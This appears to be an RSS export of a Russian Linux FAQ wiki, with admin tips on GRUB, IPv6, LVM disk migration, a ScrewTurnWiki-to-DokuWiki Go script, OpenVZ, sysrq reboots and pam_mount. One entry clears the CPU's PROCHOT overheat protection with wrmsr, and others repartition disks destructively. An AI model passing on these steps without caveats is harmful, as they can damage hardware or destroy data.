            <link>https://wiki.autosys.tk/linux_faq/%D0%BE%D1%82%D0%BA%D0%BB%D1%8E%D1%87%D0%B0%D0%B5%D0%BC-recordfail-%D0%B2-grub</link>
            <description>
&lt;p&gt;
Чтобы в случае зависания и последующей жесткой перезагрузки &lt;strong&gt;Ubuntu&lt;/strong&gt; не останавливалась на меню &lt;strong&gt;GRUB&lt;/strong&gt; нужно отключить &lt;strong&gt;recordfail&lt;/strong&gt;. &lt;br/&gt;

Эта функция позволяет отследить некорректное завершение загрузки и предотвратить циклическую перезагрузку, останавливая таймер в меню &lt;strong&gt;GRUB&lt;/strong&gt;.&lt;br/&gt;

Для того чтобы отключить &lt;strong&gt;recordfail&lt;/strong&gt; редактируем файл &lt;strong&gt;/etc/grub.d/00_header&lt;/strong&gt;. В нем находим кусочек, который формирует проверку recordfail:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make_timeout ()
{
    cat &amp;lt;&amp;lt; EOF
if [ &amp;quot;\${recordfail}&amp;quot; = 1 ]; then
  set timeout=${GRUB_RECORDFAIL_TIMEOUT:--1}
else
  set timeout=${2}
fi
EOF
}&lt;/pre&gt;

&lt;p&gt;
Заменяем &lt;strong&gt;set timeout=${GRUB_RECORDFAIL_TIMEOUT:–1}&lt;/strong&gt; на &lt;strong&gt;set timeout=0&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make_timeout ()
{
    cat &amp;amp;lt;&amp;amp;lt; EOF
if [[ &amp;quot;\${recordfail}&amp;quot; = 1 ]]; then
  set timeout=0 
else
  set timeout=${2}
fi
EOF
}&lt;/pre&gt;

&lt;p&gt;
Для того чтобы изменения вступили в силу - запускаем обновление скриптов GRUB: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo update-grub&lt;/pre&gt;

&lt;p&gt;
Проверить и убедиться что &lt;strong&gt;recordfail&lt;/strong&gt; отключен можно просмотрев файл &lt;strong&gt;/boot/grub/grub.cfg&lt;/strong&gt;. Например так:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /boot/grub/grub.cfg | grep -C 5 terminal_output&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>отключение-ipv6-в-ubuntu</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BE%D1%82%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5-ipv6-%D0%B2-ubuntu</link>
            <description>
&lt;p&gt;
Для отключения IPV6 в Ubuntu надо в файл &lt;strong&gt;﻿/etc/sysctl.conf&lt;/strong&gt; добавить строки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#disable ipv6
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>перегрев_ryzen_и_последствия</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%B3%D1%80%D0%B5%D0%B2_ryzen_%D0%B8_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B8%D1%8F</link>
            <description>
&lt;p&gt;
Я считал нечто на своем &lt;strong&gt;AMD Ryzen AI 9 HX 370 w/ Radeon 890M&lt;/strong&gt; в 24 потока, он был загружен на 100% с профилем performance и при температуре ~90C и через несколько часов ноут вырубился. &lt;br/&gt;

После включения - проц работал на частоте 600Mhz независимо от профилей питания. &lt;br/&gt;

Оказалось - ушел в защиту от перегрева. &lt;br/&gt;

Понять что это именно защита от перегрева можно по логу ядра и словам prochot:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dmesg | grep -i &amp;quot;prochot&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Процессор выставляет флаг &lt;strong&gt;BD_PROCHOT&lt;/strong&gt; и отказывается работать на большей, чем аварийные 600Mhz, частоте. &lt;br/&gt;

Посмотреть троттлит ли проц можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for DEV in /sys/class/thermal/cooling_device*; do cat ${DEV}/cur_state; done&lt;/pre&gt;

&lt;p&gt;
Везде где не 0 - там троттлинг &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Управлять состоянием &lt;strong&gt;BD_PROCHOT&lt;/strong&gt; можно налету с помощью утилит wrmsr/rdmsr
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo wrmsr 0xC0010003 0x0
sudo rdmsr 0xC0010003&lt;/pre&gt;

&lt;p&gt;
Но адрес регистра зависит от модели
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 23 Feb 2026 11:58:17 +0000</pubDate>
        </item>
        <item>
            <title>переезд-linux-а-диск-lvm-меньшего-объема-debian</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%B5%D0%B7%D0%B4-linux-%D0%B0-%D0%B4%D0%B8%D1%81%D0%BA-lvm-%D0%BC%D0%B5%D0%BD%D1%8C%D1%88%D0%B5%D0%B3%D0%BE-%D0%BE%D0%B1%D1%8A%D0%B5%D0%BC%D0%B0-debian</link>
            <description>
&lt;p&gt;
Задача - переместить систему &lt;strong&gt;Ubuntu/Debian&lt;/strong&gt; на диск меньшего объема.&lt;br/&gt;

Переезд на диск меньшего объема происходит так:&lt;br/&gt;

1. Подключаем оба диска к системе и загружаемся с &lt;strong&gt;Live CD&lt;/strong&gt; &lt;br/&gt;

2. Предполагается что на старом диске у нас два раздела - первый загрузочный, второй - для &lt;strong&gt;LVM&lt;/strong&gt;. Создаем на новом диске загрузочный раздел и раздел, который будет &lt;strong&gt;PV&lt;/strong&gt; для &lt;strong&gt;LVM&lt;/strong&gt;. Старый диск у нас &lt;strong&gt;/dev/sda&lt;/strong&gt;, новый - &lt;strong&gt;/dev/sdb&lt;/strong&gt;&lt;br/&gt;

Копируем целиком таблицу разделов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sfdisk -d /dev/sda | sfdisk --force /dev/sdb&lt;/pre&gt;

&lt;p&gt;
Удаляем второй раздел (просто тот раздел что мы скопировали со старого диска выходит за пределы носителя) и создаем его максимального размера и назначаем ему тип &lt;strong&gt;8e&lt;/strong&gt; - &lt;strong&gt;Linux LVM:&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo -e &amp;quot;\nd\n2\nn\np\n2\n\n\nt\n2\n8e\nw\nx&amp;quot; | fdisk /dev/sdb&lt;/pre&gt;

&lt;p&gt;
Переносим загрузочный раздел с помощью &lt;strong&gt;dd&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sda1 of=/dev/sdb1&lt;/pre&gt;

&lt;p&gt;
Создаем на &lt;strong&gt;/dev/sdb2&lt;/strong&gt; физический том &lt;strong&gt;LVM&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pvcreate /dev/sdb2&lt;/pre&gt;

&lt;p&gt;
На всякий случай перед изменением размера файловой системы проверяем ее на наличие ошибок (у нас тут &lt;strong&gt;debian&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fsck -f /dev/mapper/debian-root&lt;/pre&gt;

&lt;p&gt;
Уменьшаем размер файловой системы. &lt;br/&gt;

Тут важно следить за размером. У меня новый диск - 5Gb. На нем помещаются загрузочный раздел - 255Mb и остальное - &lt;strong&gt;LVM&lt;/strong&gt;. В &lt;strong&gt;LVM&lt;/strong&gt; два тома - один &lt;strong&gt;debian-root&lt;/strong&gt; и его размер надо уменьшить, а второй - &lt;strong&gt;debian-swap&lt;/strong&gt; и у меня он 2Gb - его размер оставляем. При этом - сумма размеров этих томов не должна превышать объем диска. Лучше потом увеличить размер тома &lt;strong&gt;debian-root&lt;/strong&gt; до максимума. У меня swap - 2Gb, корневой 255Mb, значит на новый том &lt;strong&gt;debian-root&lt;/strong&gt; остается 5000Mb - 2255Mb =~ 2700Mb&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;resize2fs /dev/mapper/debian-root 2700M&lt;/pre&gt;

&lt;p&gt;
Дальше мы уменьшаем размер тома &lt;strong&gt;debian-root&lt;/strong&gt; до размера, чуть большего, чем размер его файловой системы, который теперь - 2700M. Так как надо указать НА сколько мы уменьшаем, то надо узнать текущий размер с помощью команды &lt;strong&gt;lvdisplay&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvresize -L-46000M /dev/mapper/debian-root&lt;/pre&gt;

&lt;p&gt;
Затем мы присоединяем к группе томов &lt;strong&gt;debian&lt;/strong&gt; новый раздел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vgextend debian /dev/sdb2&lt;/pre&gt;

&lt;p&gt;
перемещаем данные:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pvmove /dev/sda2 /dev/sdb2&lt;/pre&gt;

&lt;p&gt;
При этом может оказатьтся что на новом разделе не хватает места. Это будет вот такая ошибка:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Insufficient free space: 1223 extents needed, but only 1218 available
  Unable to allocate mirror extents for pvmove0.
  Failed to convert pvmove LV to mirrored&lt;/pre&gt;

&lt;p&gt;
В этом случае надо еще немного уменьшить размер тома &lt;strong&gt;debian-root&lt;/strong&gt; командой 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvresize -L-20M /dev/mapper/debian-root&lt;/pre&gt;

&lt;p&gt;
изымаем старый раздел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vgreduce debian /dev/sda2&lt;/pre&gt;

&lt;p&gt;
А затем можно увеличить размер файловой системы на томе &lt;strong&gt;debian-root&lt;/strong&gt; до максимума:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;resize2fs /dev/mapper/debian-root&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 30 Jul 2019 12:22:09 +0000</pubDate>
        </item>
        <item>
            <title>перенос-данных-из-screw-turnwiki-в-dokuwiki</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D0%B5%D1%80%D0%B5%D0%BD%D0%BE%D1%81-%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85-%D0%B8%D0%B7-screw-turnwiki-%D0%B2-dokuwiki</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_мигрировать&quot;&gt;Как мигрировать&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно извлечь данные из &lt;strong&gt;ScrewTurnWiki&lt;/strong&gt;, разложить страницы в текстовые файлы и потом импортировать эти файлы в &lt;strong&gt;DokuWiki&lt;/strong&gt;.
Требования к файлам: имена без пробелов и только в нижнем регистре, расширение .txt. Разметка &lt;strong&gt;dokuwiki&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u0430\u043a \u043c\u0438\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u0430\u043a_\u043c\u0438\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-434&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;извлекаем_содержимое_страниц&quot;&gt;Извлекаем содержимое страниц&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот код на Go для того, чтобы извлечь содержимое страниц, сохранить его в виде файлов с именами - названиями страниц и разложить по папкам с именами namespaces.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;package main                                                                                                                                                                                    
import (
&amp;quot;code.google.com/p/odbc&amp;quot;
&amp;quot;database/sql&amp;quot;
&amp;quot;fmt&amp;quot;
&amp;quot;log&amp;quot;
&amp;quot;strings&amp;quot;
&amp;quot;os&amp;quot;                                                                                      
)                                                                                             
var (                                                                                         
    title       string                                                                        
    content     string                                                                        
    query       string                                                                        
    pagename    string                                                                        
    filename    string                                                                        
    namespace   string                                                                        
)
func main() {
    db, err := sql.Open(&amp;quot;odbc&amp;quot;, &amp;quot;DRIVER=FreeTDS;SERVER=192.168.122.169;UID=screw;PWD=password;DATABASE=screw;TDS_Version=8.0;PORT=1433;&amp;quot;)
    if err != nil {
        fmt.Println(&amp;quot;Error in connect DB&amp;quot;)
        log.Fatal(err)
    }
    query = &amp;quot;select Page, Namespace, Content from dbo.PageContent  where Revision = -1&amp;quot;
    rows, err := db.Query(query)
    if err != nil {
        log.Fatal(err)
    }
    for rows.Next() {
        if err := rows.Scan(&amp;amp;pagename, &amp;amp;namespace, &amp;amp;content); err != nil {
            log.Fatal(err)
        }
//              fmt.Println(pagename)
//      fmt.Println(content)
        filename= strings.ToLower(&amp;quot;/home/mike/wiki/test/&amp;quot; + namespace)
        os.Mkdir (filename, 0777)
        filename= strings.ToLower(&amp;quot;/home/mike/wiki/test/&amp;quot; + namespace + &amp;quot;/&amp;quot; + pagename)
        fo, err := os.Create(filename)
        if err != nil {
                panic(err)
        }
        if _, err := fo.WriteString(&amp;quot;##PAGE##\n&amp;quot; + content); err != nil {
            panic(err)
        }
        defer fo.Close()
    }
    defer rows.Close()
}
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c_\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435_\u0441\u0442\u0440\u0430\u043d\u0438\u0446&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;435-2988&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;конвертация&quot;&gt;Конвертация&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Конвертер разметки: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/screwturn-to-dokuwiki-converter.rar&quot; class=&quot;media mediafile mf_rar&quot; title=&quot;linux_faq:screwturn-to-dokuwiki-converter.rar (4.2 KB)&quot;&gt; screwturn-to-dokuwiki-converter.rar&lt;/a&gt; &lt;br/&gt;

Ставим то что нужно для сборки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install --assume-yes bison build-essential curl flex g++&lt;/pre&gt;

&lt;p&gt;
Даем права на запуск &lt;strong&gt;makeit.sh&lt;/strong&gt; и &lt;strong&gt;testit.sh&lt;/strong&gt;. &lt;br/&gt;

Собираем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./makeit.sh&lt;/pre&gt;

&lt;p&gt;
тестируем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./testit.sh &lt;/pre&gt;

&lt;p&gt;
(выдаст результат в compilatorMy.out)
&lt;/p&gt;

&lt;p&gt;
Конвертируем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find ./test3/ -type f -name &amp;quot;*&amp;quot; -exec ./a.out {} {}.txt \;  -print&lt;/pre&gt;

&lt;p&gt;
Удаляем файлы без расширения txt:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;find ./test3/ -type f ! -name &amp;quot;*.txt&amp;quot; -exec rm {} \;  -print &lt;/pre&gt;

&lt;p&gt;
Архивируем и переносим на хост с &lt;strong&gt;DokuWiki&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2989-3792&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;импорт_в_dokuwiki&quot;&gt;Импорт в dokuwiki&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сначала даем права на файлы.
&lt;/p&gt;

&lt;p&gt;
С помощью плагина &lt;a href=&quot;https://www.dokuwiki.org/plugin:searchindex&quot; class=&quot;urlextern&quot; title=&quot;https://www.dokuwiki.org/plugin:searchindex&quot; rel=&quot;ugc nofollow&quot;&gt;Searchindex Manager&lt;/a&gt; импортируем страницы в &lt;strong&gt;DokuWiki&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043c\u043f\u043e\u0440\u0442 \u0432 dokuwiki&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043c\u043f\u043e\u0440\u0442_\u0432_dokuwiki&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3793-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 06 Jun 2019 09:41:16 +0000</pubDate>
        </item>
        <item>
            <title>после-обновления-системы-yum-update-не-запускается-openvz-run ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D0%BE%D1%81%D0%BB%D0%B5-%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F-%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D1%8B-yum-update-%D0%BD%D0%B5-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D0%B5%D1%82%D1%81%D1%8F-openvz-running-kernel-is-not-an-openvz-kernel</link>
            <description>
&lt;p&gt;
В руководстве по OpenVZ написано, что для обновления достаточно выполнить:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;yum update&lt;/pre&gt;

&lt;p&gt;
 &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Все обновляется, НО после обновления контейнеры OpenVZ не стартуют.&lt;br/&gt;

В логах написано: &lt;strong&gt;Running kernel is not an OpenVZ kernel&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Что же делать?&lt;br/&gt;

Нужно выполнить:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;yum reinstall vzkernel&lt;/pre&gt;

&lt;p&gt;
Перезагрузиться и все вернется!&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
чвв&lt;br/&gt;

в
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>при-использовании-в-стартап-скриптах-screen-говорит-чт ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%B8-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B8-%D0%B2-%D1%81%D1%82%D0%B0%D1%80%D1%82%D0%B0%D0%BF-%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B0%D1%85-screen-%D0%B3%D0%BE%D0%B2%D0%BE%D1%80%D0%B8%D1%82-%D1%87%D1%82%D0%BE-must-be-connected-to-a-terminal</link>
            <description>
&lt;p&gt;
Это происходит потому что screen хочет терминал. ЧТобы он не хотел терминал есть две опции:&lt;br/&gt;

 &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; -m   causes screen  to  ignore  the  $STY  environment  variable.  With
        &amp;quot;screen  -m&amp;quot;  creation  of  a  new session is enforced, regardless
        whether screen is called from within  another  screen  session  or
        not.  This  flag has a special meaning in connection with the `-d&amp;#039;
        option:

   -d -m   Start screen in &amp;quot;detached&amp;quot; mode. This creates a new session but
           doesn&amp;#039;t  attach  to  it.  This  is  useful  for  system startup
           scripts.&lt;/pre&gt;

&lt;p&gt;
Я использую обычно &lt;strong&gt;-d -m&lt;/strong&gt;.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>принудительная-перезагрузка-linux</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%B8%D0%BD%D1%83%D0%B4%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F-%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B0-linux</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;принудительная_перезагрузка_linux&quot;&gt;Принудительная перезагрузка Linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Иногда бывает что нужно удалено перезагрузить спятивший компьютер. &lt;br/&gt;

Проблема в том что хотя ядро работает однако, например, умер раздел &lt;strong&gt;swap&lt;/strong&gt; или какой нибудь зависший процесс ввода-вывода блокирует все попытки стандартной команды &lt;strong&gt;reboot&lt;/strong&gt;. &lt;br/&gt;

Ну что же придётся попросить ядро напрямую.&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 Linux&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f_\u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430_linux&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-598&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;принудительная_перезагрузка&quot;&gt;Принудительная перезагрузка&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;echo 1 &amp;gt; /proc/sys/kernel/sysrq &amp;amp;&amp;amp; echo b &amp;gt; /proc/sysrq-trigger&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f_\u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;599-730&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;принудительное_выключение&quot;&gt;Принудительное выключение&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;echo 1 &amp;gt; /proc/sys/kernel/sysrq
echo o &amp;gt; /proc/sysrq-trigger&lt;/pre&gt;

&lt;p&gt;
Ну а дальше будем надеяться что ребут вернет жизнь в компьютер и можно будет спокойно разобраться почему он спятил.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Вот говорят еще и так можно:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo init 6&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435_\u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;731-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 30 Jan 2020 19:51:53 +0000</pubDate>
        </item>
        <item>
            <title>проблемы_с_pam_mount</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BF%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D1%8B_%D1%81_pam_mount</link>
            <description>
&lt;p&gt;
Я часто пользуюсь &lt;strong&gt;pam_mount&lt;/strong&gt; и тут я собрал наиболее часто возникающие ошибки.
Для того, чтобы включить вывод &lt;strong&gt;debug&lt;/strong&gt;-сообщений нужно отредактировать &lt;strong&gt;/etc/security/pam_mount.conf.xml&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/security/pam_mount.conf.xml&lt;/pre&gt;

&lt;p&gt;
И в строке &lt;strong&gt;&amp;lt;debug enable=“0” /&amp;gt;&lt;/strong&gt; 0 нужно заменить на 1 или 2.
Логи будут писаться в &lt;strong&gt;/var/log/auth.log&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
Проверять текущее состояние удобно с помощью команды:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;su -l $USER&lt;/pre&gt;

&lt;p&gt;
В результате ее выполнения создается еще одна сессия с текущим пользователем и &lt;strong&gt;pam_mount&lt;/strong&gt; отрабатывает.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;no_volumes_to_umount&quot;&gt;No volumes to umount&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Первая проблема, с которой обычно сталкиваешься это сообщения типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;(pam_mount.c:709): No volumes to umount&lt;/pre&gt;

&lt;p&gt;
При этом, в пользовательском файлике &lt;strong&gt;~/.pam_mount.conf.xml&lt;/strong&gt; монтируемые шары прописаны. &lt;br/&gt;

Скорее всего, в файлике &lt;strong&gt;/etc/security/pam_mount.conf.xml&lt;/strong&gt; не раскомментирована строка &lt;strong&gt;&amp;lt;luserconf name=“.pam_mount.conf.xml” /&amp;gt;&lt;/strong&gt;, &lt;br/&gt;

В результате пользовательский конфигурационный файл не читается и никаких &lt;strong&gt;volumes to mount&lt;/strong&gt; нет. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;No volumes to umount&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;no_volumes_to_umount&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;803-1505&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;ресурсы_не_монтируются_без_видимых_причин&quot;&gt;Ресурсы не монтируются без видимых причин&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для того, чтобы модуль работал корректно, нужно отредактировать файл &lt;strong&gt;/etc/pam.d/common-session&lt;/strong&gt;. &lt;br/&gt;

